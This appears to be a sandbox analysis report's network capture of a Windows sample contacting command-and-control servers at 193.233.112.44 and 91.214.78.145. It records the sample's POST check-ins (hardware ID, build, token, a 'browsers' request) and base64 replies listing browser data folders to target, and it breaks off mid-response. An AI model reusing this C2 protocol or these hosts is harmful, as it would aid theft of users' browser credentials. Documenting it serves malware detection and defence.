Oct 3, 2024 23:17:33.961045980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.961182117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.961210966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.365879059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.366115093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.373639107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.373682022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.378478050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.378489017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.378572941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.758905888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.758982897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.767936945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.767976046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:34.773232937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.773242950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:34.773251057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.150372028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.150458097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.157000065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.157023907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.162003040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.162031889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.162060022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.542773962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.542865038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.578660011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.578681946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.583815098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.583851099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.583878040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.963463068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.963522911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.978790045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.978813887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:35.983644009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.983659983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:35.983674049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.357552052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.357621908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.364381075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.364417076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.369304895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.369318962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.369405985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.740654945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.740722895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.745462894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.745497942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:36.750408888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.750422001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:36.750588894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.127954960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.128068924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.135607004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.135648966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.140539885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.140558004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.140572071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.522995949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.524188042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.530566931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.530606031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.535588980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.535619974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.535670042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.911461115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.911540031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.915941954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.915975094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:37.921027899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.921092987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:37.921123028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.300262928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.300383091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.331111908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.331135035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.337352037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.337366104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.337378979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.845722914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.845897913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.874068975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.874068975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:38.879705906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.879813910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:38.879827976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.260971069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.261058092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.267858028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.267879009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.273246050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.273266077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.273278952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.773734093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.773938894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.781060934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.781060934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:39.788569927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.788610935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:39.788639069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.160624981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.160736084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:40.166502953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:40.166549921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:40.171467066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.171715975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.171760082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.555896997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.555973053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:40.567575932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:40.572582006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.925908089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:40.926001072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.020397902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.020705938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.020844936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.020931959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.025368929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025779009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025790930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025803089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025844097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025855064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025876999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025888920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.025924921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026004076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026015997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026026964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026104927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026117086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026128054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026149035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026160955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026173115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026189089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026201010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026249886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026262045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026274920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026287079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026348114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026361942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026410103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026422024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026432991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026443958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026470900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026483059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026494026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026585102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026597023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.026607990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.030107975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.030121088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.030133009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031088114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031553030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031568050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031579018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031629086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031641006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031651974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031662941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031675100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031686068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031697989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031709909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031721115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031732082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031744003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031755924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031768084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031780005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031791925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031802893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031815052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031826019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031836987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031848907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031862974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031873941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031886101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031897068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031908989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.031920910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032208920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032222033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032232046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032243967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032273054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032284975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032303095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032314062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032325983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032336950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032356024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032367945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032378912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032390118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032402039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032428026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032438993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032449961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032461882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032473087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032485008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032496929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032507896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032520056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.032531023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.822788000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:41.822956085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.862152100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:41.868551016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:42.220980883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:42.221052885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:42.222243071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:42.227045059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:42.604228973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:42.607491970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:45.111768961 CEST	49710	80	192.168.2.5	193.233.112.44

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 23:16:56.200490952 CEST	54155	53	192.168.2.5	1.1.1.1
Oct 3, 2024 23:16:56.208445072 CEST	53	54155	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 23:16:56.200490952 CEST	192.168.2.5	1.1.1.1	0x2780	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 23:16:56.208445072 CEST	1.1.1.1	192.168.2.5	0x2780	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

91.214.78.145

193.233.112.44

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	91.214.78.145	80	1220	C:\Users\user\Desktop\NJna3TEAEr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 23:16:57.208579063 CEST	88	OUT	GET / HTTP/1.1 Host: 91.214.78.145 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	193.233.112.44	80	1220	C:\Users\user\Desktop\NJna3TEAEr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 23:16:58.930766106 CEST	89	OUT	GET / HTTP/1.1 Host: 193.233.112.44 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:16:59.765801907 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:16:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:16:59.769781113 CEST	411	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 193.233.112.44 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 31 44 35 45 33 41 38 35 32 44 31 38 33 35 36 37 39 37 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 67 61 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="hwid"181D5E3A852D183567973------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="build"game------GIEHIDHJDBFIIECAKECB--
Oct 3, 2024 23:17:00.186527014 CEST	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 180 Connection: keep-alive Vary: Accept-Encoding Data Raw: 5a 6a 4a 68 4f 44 46 6d 4d 57 46 6d 59 6a 49 78 4f 47 4e 68 4e 32 56 6c 4e 6a 68 6b 4e 6a 4d 32 5a 54 6c 6d 4d 7a 49 7a 4f 57 45 31 59 54 67 7a 5a 6a 41 34 4e 54 4a 69 5a 47 52 6d 4e 6d 59 79 5a 54 4a 6c 4d 57 4a 69 4e 32 46 6a 4e 44 42 6c 4d 44 52 6c 59 7a 45 31 59 6d 45 79 4d 32 55 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjJhODFmMWFmYjIxOGNhN2VlNjhkNjM2ZTlmMzIzOWE1YTgzZjA4NTJiZGRmNmYyZTJlMWJiN2FjNDBlMDRlYzE1YmEyM2U1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 3, 2024 23:17:00.187827110 CEST	469	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJD Host: 193.233.112.44 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="message"browsers------GDHIIIIEHCFIECAKFHJD--
Oct 3, 2024 23:17:00.561665058 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcV